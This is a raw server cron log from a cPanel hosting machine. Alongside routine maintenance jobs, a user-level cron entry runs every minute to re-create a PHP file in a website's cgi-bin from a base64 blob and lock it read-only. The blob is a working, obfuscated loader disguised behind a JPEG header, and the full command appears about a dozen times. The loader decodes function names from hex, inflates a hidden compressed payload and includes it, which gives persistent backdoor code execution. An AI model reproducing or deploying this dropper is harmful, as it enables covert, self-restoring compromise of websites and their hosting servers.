Sep 12 04:54:01 server CROND[15407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:55:01 server CROND[15787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:55:01 server CROND[15791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:55:01 server CROND[15792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:55:01 server CROND[15795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:55:01 server CROND[15794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:55:01 server CROND[15793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:55:01 server CROND[15796]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:56:01 server CROND[16646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:56:01 server CROND[16648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:56:01 server CROND[16647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:57:02 server CROND[17127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:57:02 server CROND[17128]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 04:57:02 server CROND[17126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:57:02 server CROND[17129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:58:01 server CROND[17543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:58:01 server CROND[17544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:58:01 server CROND[17545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:59:01 server CROND[17936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:59:01 server CROND[17935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:59:01 server CROND[17937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:00:01 server CROND[18313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:00:01 server CROND[18314]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:00:01 server CROND[18318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:00:01 server CROND[18320]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:00:01 server CROND[18324]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 05:00:01 server CROND[18323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:00:01 server CROND[18321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:00:01 server CROND[18322]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:00:01 server CROND[18319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:01:01 server CROND[19147]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 05:01:01 server CROND[19148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:01:01 server run-parts(/etc/cron.hourly)[19147]: starting 0anacron
Sep 12 05:01:01 server CROND[19154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:01:01 server CROND[19152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:01:01 server run-parts(/etc/cron.hourly)[19163]: finished 0anacron
Sep 12 05:02:01 server CROND[19529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:02:01 server CROND[19530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:02:01 server CROND[19531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:03:01 server CROND[20110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:03:01 server CROND[20111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:03:01 server CROND[20112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:04:01 server CROND[20498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:04:01 server CROND[20499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:04:01 server CROND[20500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:05:01 server CROND[20870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:05:01 server CROND[20873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:05:01 server CROND[20876]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 05:05:01 server CROND[20875]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:05:01 server CROND[20878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:05:01 server CROND[20879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
